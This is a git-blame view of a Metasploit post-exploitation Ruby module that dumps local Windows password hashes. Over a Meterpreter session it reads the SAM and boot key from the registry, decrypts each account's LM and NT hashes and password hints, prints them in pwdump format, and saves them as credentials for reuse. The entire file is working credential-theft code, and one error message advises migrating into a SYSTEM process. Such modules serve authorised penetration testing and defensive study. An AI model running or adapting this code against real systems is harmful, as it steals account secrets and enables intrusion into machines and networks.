Files
metasploit-gs/modules/post/windows/gather/hashdump.rb
T

Ignoring revisions in .git-blame-ignore-revs. Click here to bypass and see the normal blame view.

312 lines
9.2 KiB
Ruby
Raw Normal View History

##
2017-07-24 06:26:21 -07:00
# This module requires Metasploit: https://metasploit.com/download
2013-10-15 13:50:46 -05:00
# Current source: https://github.com/rapid7/metasploit-framework
##
2023-02-08 13:47:34 +00:00
require 'English'
2016-03-08 14:02:44 +01:00
class MetasploitModule < Msf::Post
include Msf::Auxiliary::Report
include Msf::Post::Windows::Priv
include Msf::Post::Windows::Registry
2013-10-16 23:39:07 -04:00
2021-09-10 12:53:39 +01:00
def initialize(info = {})
super(
update_info(
info,
'Name' => 'Windows Gather Local User Account Password Hashes (Registry)',
'Description' => %q{ This module will dump the local user accounts from the SAM database using the registry },
'License' => MSF_LICENSE,
'Author' => [ 'hdm' ],
'Platform' => [ 'win' ],
2021-10-06 13:43:31 +01:00
'SessionTypes' => [ 'meterpreter' ],
'Compat' => {
'Meterpreter' => {
'Commands' => %w[
stdapi_registry_open_key
]
}
}
2021-09-10 12:53:39 +01:00
)
)
2013-08-30 16:28:54 -05:00
# Constants for SAM decryption
2021-09-10 12:53:39 +01:00
@sam_lmpass = "LMPASSWORD\x00"
@sam_ntpass = "NTPASSWORD\x00"
@sam_qwerty = "!@\#$%^&*()qwertyUIOPAzxcvbnmQQQQQQQQQQQQ)(*@&%\x00"
@sam_numeric = "0123456789012345678901234567890123456789\x00"
2023-02-08 13:47:34 +00:00
@sam_empty_lm = ['aad3b435b51404eeaad3b435b51404ee'].pack('H*')
@sam_empty_nt = ['31d6cfe0d16ae931b73c59d7e0c089c0'].pack('H*')
end
2013-08-30 16:28:54 -05:00
def run
tries = 0
2013-08-30 16:28:54 -05:00
begin
2023-02-08 13:47:34 +00:00
print_status('Obtaining the boot key...')
2021-09-10 12:53:39 +01:00
bootkey = capture_boot_key
2013-08-30 16:28:54 -05:00
2023-02-08 13:47:34 +00:00
print_status("Calculating the hboot key using SYSKEY #{bootkey.unpack('H*')[0]}...")
hbootkey = capture_hboot_key(bootkey)
2013-08-30 16:28:54 -05:00
2023-02-08 13:47:34 +00:00
print_status('Obtaining the user list and keys...')
2021-09-10 12:53:39 +01:00
users = capture_user_keys
2013-08-30 16:28:54 -05:00
2023-02-08 13:47:34 +00:00
print_status('Decrypting user keys...')
2021-09-10 12:53:39 +01:00
users = decrypt_user_keys(hbootkey, users)
2013-08-30 16:28:54 -05:00
2023-02-08 13:47:34 +00:00
print_status('Dumping password hints...')
print_line
hint_count = 0
2021-09-10 12:53:39 +01:00
users.keys.sort { |a, b| a <=> b }.each do |rid|
# If we have a hint then print it
2023-02-08 13:47:34 +00:00
if !users[rid][:UserPasswordHint].nil? && !users[rid][:UserPasswordHint].empty?
print_line "#{users[rid][:Name]}:\"#{users[rid][:UserPasswordHint]}\""
hint_count += 1
2012-08-21 14:17:21 -05:00
end
end
2023-02-08 13:47:34 +00:00
print_line 'No users with password hints on this system' if hint_count == 0
print_line
2013-08-30 16:28:54 -05:00
2023-02-08 13:47:34 +00:00
print_status('Dumping password hashes...')
print_line
print_line
2014-05-29 13:20:32 -05:00
# Assemble the information about the SMB service for this host
service_data = {
2021-09-10 12:53:39 +01:00
address: ::Rex::Socket.getaddress(session.sock.peerhost, true),
port: 445,
service_name: 'smb',
protocol: 'tcp',
workspace_id: myworkspace_id
2014-05-29 13:20:32 -05:00
}
# Assemble data about the credential objects we will be creating
credential_data = {
2021-09-10 12:53:39 +01:00
origin_type: :session,
session_id: session_db_id,
2023-02-08 13:47:34 +00:00
post_reference_name: refname,
2021-09-10 12:53:39 +01:00
private_type: :ntlm_hash
2014-05-29 13:20:32 -05:00
}
# Merge the service data into the credential data
credential_data.merge!(service_data)
2021-09-10 12:53:39 +01:00
users.keys.sort { |a, b| a <=> b }.each do |rid|
2023-02-08 13:47:34 +00:00
hashstring = "#{users[rid][:Name]}:#{rid}:#{users[rid][:hashlm].unpack('H*')[0]}:#{users[rid][:hashnt].unpack('H*')[0]}:::"
2014-05-29 13:20:32 -05:00
# Add the details for this specific credential
2023-02-08 13:47:34 +00:00
credential_data[:private_data] = users[rid][:hashlm].unpack('H*')[0] + ':' + users[rid][:hashnt].unpack('H*')[0]
2021-09-10 12:53:39 +01:00
credential_data[:username] = users[rid][:Name].downcase
2014-05-29 13:20:32 -05:00
# Create the Metasploit::Credential::Core object
credential_core = create_credential(credential_data)
# Assemble the options hash for creating the Metasploit::Credential::Login object
2021-09-10 12:53:39 +01:00
login_data = {
2014-05-29 13:20:32 -05:00
core: credential_core,
status: Metasploit::Model::Login::Status::UNTRIED
2014-05-29 13:20:32 -05:00
}
# Merge in the service data and create our Login
login_data.merge!(service_data)
login = create_credential_login(login_data)
print_line hashstring
end
2023-02-08 13:47:34 +00:00
print_line
print_line
rescue ::Interrupt
2023-02-08 13:47:34 +00:00
raise $ERROR_INFO
rescue ::Rex::Post::Meterpreter::RequestError => e
# Sometimes we get this invalid handle race condition.
# So let's retry a couple of times before giving up.
# See bug #6815
2023-02-08 13:47:34 +00:00
if (tries < 5) && e.to_s =~ (/The handle is invalid/)
print_status('Handle is invalid, retrying...')
tries += 1
retry
2013-08-30 16:28:54 -05:00
else
print_error("Meterpreter Exception: #{e.class} #{e}")
2023-02-08 13:47:34 +00:00
print_error('This script requires the use of a SYSTEM user context (hint: migrate into service process)')
end
2021-09-10 12:53:39 +01:00
# rescue ::Exception => e
# print_error("Error: #{e.class} #{e} #{e.backtrace}")
end
end
2013-08-30 16:28:54 -05:00
def capture_hboot_key(bootkey)
2023-02-08 13:47:34 +00:00
ok = session.sys.registry.open_key(HKEY_LOCAL_MACHINE, 'SAM\\SAM\\Domains\\Account', KEY_READ)
return if !ok
2021-09-10 12:53:39 +01:00
2023-02-08 13:47:34 +00:00
vf = ok.query_value('F')
return if !vf
2021-09-10 12:53:39 +01:00
vf = vf.data
ok.close
2013-08-30 16:28:54 -05:00
revision = vf[0x68, 4].unpack('V')[0]
2017-06-19 13:40:00 -05:00
case revision
2021-09-10 12:53:39 +01:00
when 1
hash = Digest::MD5.new
hash.update(vf[0x70, 16] + @sam_qwerty + bootkey + @sam_numeric)
2023-02-08 13:47:34 +00:00
rc4 = OpenSSL::Cipher.new('rc4')
2021-09-10 12:53:39 +01:00
rc4.decrypt
rc4.key = hash.digest
hbootkey = rc4.update(vf[0x80, 32])
hbootkey << rc4.final
hbootkey
when 2
aes = OpenSSL::Cipher.new('aes-128-cbc')
aes.decrypt
aes.key = bootkey
aes.padding = 0
aes.iv = vf[0x78, 16]
aes.update(vf[0x88, 16]) # we need only 16 bytes
else
raise NotImplementedError, "Unknown hboot_key revision: #{revision}"
end
end
2013-08-30 16:28:54 -05:00
def capture_user_keys
users = {}
2023-02-08 13:47:34 +00:00
ok = session.sys.registry.open_key(HKEY_LOCAL_MACHINE, 'SAM\\SAM\\Domains\\Account\\Users', KEY_READ)
return if !ok
2013-08-30 16:28:54 -05:00
ok.enum_key.each do |usr|
uk = session.sys.registry.open_key(HKEY_LOCAL_MACHINE, "SAM\\SAM\\Domains\\Account\\Users\\#{usr}", KEY_READ)
next if usr == 'Names'
2021-09-10 12:53:39 +01:00
users[usr.to_i(16)] ||= {}
2023-02-08 13:47:34 +00:00
users[usr.to_i(16)][:F] = uk.query_value('F').data
users[usr.to_i(16)][:V] = uk.query_value('V').data
2013-08-30 16:28:54 -05:00
2021-09-10 12:53:39 +01:00
# Attempt to get Hints (from Win7/Win8 Location)
begin
2023-02-08 13:47:34 +00:00
users[usr.to_i(16)][:UserPasswordHint] = uk.query_value('UserPasswordHint').data
rescue ::Rex::Post::Meterpreter::RequestError
users[usr.to_i(16)][:UserPasswordHint] = nil
end
2013-08-30 16:28:54 -05:00
uk.close
end
ok.close
2013-08-30 16:28:54 -05:00
2023-02-08 13:47:34 +00:00
ok = session.sys.registry.open_key(HKEY_LOCAL_MACHINE, 'SAM\\SAM\\Domains\\Account\\Users\\Names', KEY_READ)
ok.enum_key.each do |usr|
uk = session.sys.registry.open_key(HKEY_LOCAL_MACHINE, "SAM\\SAM\\Domains\\Account\\Users\\Names\\#{usr}", KEY_READ)
2023-02-08 13:47:34 +00:00
r = uk.query_value('')
rid = r.type
users[rid] ||= {}
users[rid][:Name] = usr
2013-08-30 16:28:54 -05:00
2021-09-10 12:53:39 +01:00
# Attempt to get Hints (from WinXP Location) only if it's not set yet
2012-08-21 14:17:21 -05:00
if users[rid][:UserPasswordHint].nil?
begin
uk_hint = session.sys.registry.open_key(HKEY_LOCAL_MACHINE, "SOFTWARE\\Microsoft\\Windows\\CurrentVersion\\Hints\\#{usr}", KEY_READ)
2023-02-08 13:47:34 +00:00
users[rid][:UserPasswordHint] = uk_hint.query_value('').data
rescue ::Rex::Post::Meterpreter::RequestError
users[rid][:UserPasswordHint] = nil
end
end
2013-08-30 16:28:54 -05:00
uk.close
end
ok.close
users
end
2013-08-30 16:28:54 -05:00
def decrypt_user_keys(hbootkey, users)
users.each_key do |rid|
user = users[rid]
2013-08-30 16:28:54 -05:00
2023-02-08 13:47:34 +00:00
hashlm_off = user[:V][0x9c, 4].unpack('V')[0] + 0xcc
hashlm_len = user[:V][0xa0, 4].unpack('V')[0]
hashlm_enc = user[:V][hashlm_off, hashlm_len]
2013-08-30 16:28:54 -05:00
2023-02-08 13:47:34 +00:00
hashnt_off = user[:V][0xa8, 4].unpack('V')[0] + 0xcc
hashnt_len = user[:V][0xac, 4].unpack('V')[0]
hashnt_enc = user[:V][hashnt_off, hashnt_len]
2013-08-30 16:28:54 -05:00
user[:hashlm] = decrypt_user_hash(rid, hbootkey, hashlm_enc, @sam_lmpass, @sam_empty_lm)
user[:hashnt] = decrypt_user_hash(rid, hbootkey, hashnt_enc, @sam_ntpass, @sam_empty_nt)
end
2013-08-30 16:28:54 -05:00
users
end
2013-08-30 16:28:54 -05:00
def decode_windows_hint(e_string)
2023-02-08 13:47:34 +00:00
d_string = ''
e_string.scan(/..../).each do |chunk|
bytes = chunk.scan(/../)
d_string += (bytes[1] + bytes[0]).to_s.hex.chr
end
d_string
end
2013-08-30 16:28:54 -05:00
def rid_to_key(rid)
2023-02-08 13:47:34 +00:00
s1 = [rid].pack('V')
2021-09-10 12:53:39 +01:00
s1 << s1[0, 3]
2013-08-30 16:28:54 -05:00
2023-02-08 13:47:34 +00:00
s2b = [rid].pack('V').unpack('C4')
s2 = [s2b[3], s2b[0], s2b[1], s2b[2]].pack('C4')
2021-09-10 12:53:39 +01:00
s2 << s2[0, 3]
2013-08-30 16:28:54 -05:00
[convert_des_56_to_64(s1), convert_des_56_to_64(s2)]
end
2013-08-30 16:28:54 -05:00
def decrypt_user_hash(rid, hbootkey, enchash, pass, default)
revision = enchash[2, 2].unpack('v')[0]
2013-08-30 16:28:54 -05:00
2017-06-19 13:40:00 -05:00
case revision
2021-09-10 12:53:39 +01:00
when 1
if enchash.length < 20
return default
end
2021-09-10 12:53:39 +01:00
md5 = Digest::MD5.new
2023-02-08 13:47:34 +00:00
md5.update(hbootkey[0, 16] + [rid].pack('V') + pass)
2021-09-10 12:53:39 +01:00
rc4 = OpenSSL::Cipher.new('rc4')
rc4.decrypt
rc4.key = md5.digest
okey = rc4.update(enchash[4, 16])
when 2
if enchash.length < 40
return default
2021-09-10 12:53:39 +01:00
end
aes = OpenSSL::Cipher.new('aes-128-cbc')
aes.decrypt
aes.key = hbootkey[0, 16]
aes.padding = 0
aes.iv = enchash[8, 16]
okey = aes.update(enchash[24, 16]) # we need only 16 bytes
else
print_error("Unknown user hash revision: #{revision}")
return default
end
2013-08-30 16:28:54 -05:00
des_k1, des_k2 = rid_to_key(rid)
2013-08-30 16:28:54 -05:00
2017-01-17 14:44:45 -06:00
d1 = OpenSSL::Cipher.new('des-ecb')
2021-02-19 20:35:33 +00:00
d1.decrypt
d1.padding = 0
d1.key = des_k1
2013-08-30 16:28:54 -05:00
2017-01-17 14:44:45 -06:00
d2 = OpenSSL::Cipher.new('des-ecb')
2021-02-19 20:35:33 +00:00
d2.decrypt
d2.padding = 0
d2.key = des_k2
2013-08-30 16:28:54 -05:00
2021-09-10 12:53:39 +01:00
d1o = d1.update(okey[0, 8])
d1o << d1.final
2013-08-30 16:28:54 -05:00
2021-09-10 12:53:39 +01:00
d2o = d2.update(okey[8, 8])
d1o << d2.final
d1o + d2o
end
2012-08-21 14:17:21 -05:00
end